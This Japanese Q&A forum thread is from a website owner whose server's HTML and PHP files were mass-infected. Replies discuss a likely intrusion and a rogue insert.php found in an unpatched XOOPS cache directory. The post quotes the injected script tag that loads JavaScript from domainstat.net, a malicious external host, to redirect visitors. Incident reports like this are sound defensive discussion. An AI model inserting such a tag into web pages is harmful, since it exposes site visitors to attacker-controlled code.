Webサーバ上のhtmlとphpファイルが感染

質問

こんにちは。

海外のレンタルサーバを借りてWebサイトを公開しているのですが、昨日ワームに感染したようでサイト内のほとんどのhtmlとphpファイルの行末に下記のjavascriptが挿入されていました。

<script language='JavaScript' type='text/javascript' src='http://domainstat.net/stat.php'></script>

このスクリプトで下記のWindowsMediaファイルにリダイレクトするようになっています。
.xungo.com/Elephant.wmv

ローカルPCからはウィルスやアドウェアは見つかっていません。
サーバ上のファイルの更新時間を見たところ1,2分の間に数百のファイルが書き換わっています。
アクセスログを調べていますが今の所、不審なアクセスを見つけられていません。

なにが原因で感染したのか知りたいのですが、手がかりになる情報をお持ちの方いらっしゃいますでしょうか？

下記のケースと同じようです。
http://66.102.7.104/search?q=cache:HNyQsvf-96oJ:www.genxweb.net/code/worm-string-removal-2.html+%22domainstat.net/stat.php%22

ホスティング会社に問い合わせてますが、私のほうのセキュリティ問題だろうと言われて取り合えってもらえてません。

よろしくお願いします。

回答No.2

FMVNB50GJ · ベストアンサー

不審なアクセスが無いとすれば、侵入されたということではないですか。
侵入者は、侵入してから一～二分で侵入の痕跡を削除し、物色。当然バックドアを何個か設置。
あとは自由に出入りする。
不審なアクセスが見つけられないことは、かなりの状態だと推定できますが。

補足

ご回答ありがとうございます。
分かったことですが、設置してあるxoopsのcasheディレクトリにinsert.phpというスクリプトが出来上がっており、それに対するアクセスログが1件ありました。
insert.phpの中身はhtmlファイルにjavascriptを挿入するための処理が入っていました。

ということで書き換えた手口はわかったのですが、
insert.phpがどういう形で作られたのか不明です。
xoopsのバージョンアップを怠っていたのでセキュリティが不十分だったと感じています。

回答No.1

hoihence

こんにちは。

Injectionか何かじゃない。